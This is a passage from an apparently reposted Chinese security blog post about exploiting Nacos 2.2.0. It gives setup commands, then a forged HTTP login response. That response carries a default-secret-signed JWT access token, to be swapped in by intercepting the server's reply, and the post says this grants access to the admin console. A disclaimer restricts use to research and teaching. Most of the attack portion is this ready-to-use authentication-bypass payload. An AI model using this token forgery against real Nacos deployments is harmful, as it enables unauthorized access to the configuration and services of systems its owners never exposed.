| https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz |
| liunx:./startup.sh -m standalone winodows:./start.cmd -m standalone |
二:
拦截返回包写入poc
|
poc： HTTP/1.1 200 Authorization: Bearer Content-Type: application/json; charset=utf-8 Date: Tue, 14 Mar 2023 16:34:47 GMT Content-Length: 206 { 'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA', 'tokenTtl': 18000, 'globalAdmin': false, 'username': 'nacos' } |
利用默认token成功登录进入后台
原文始发于微信公众号（泾弦安全）：nacos漏洞利用
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论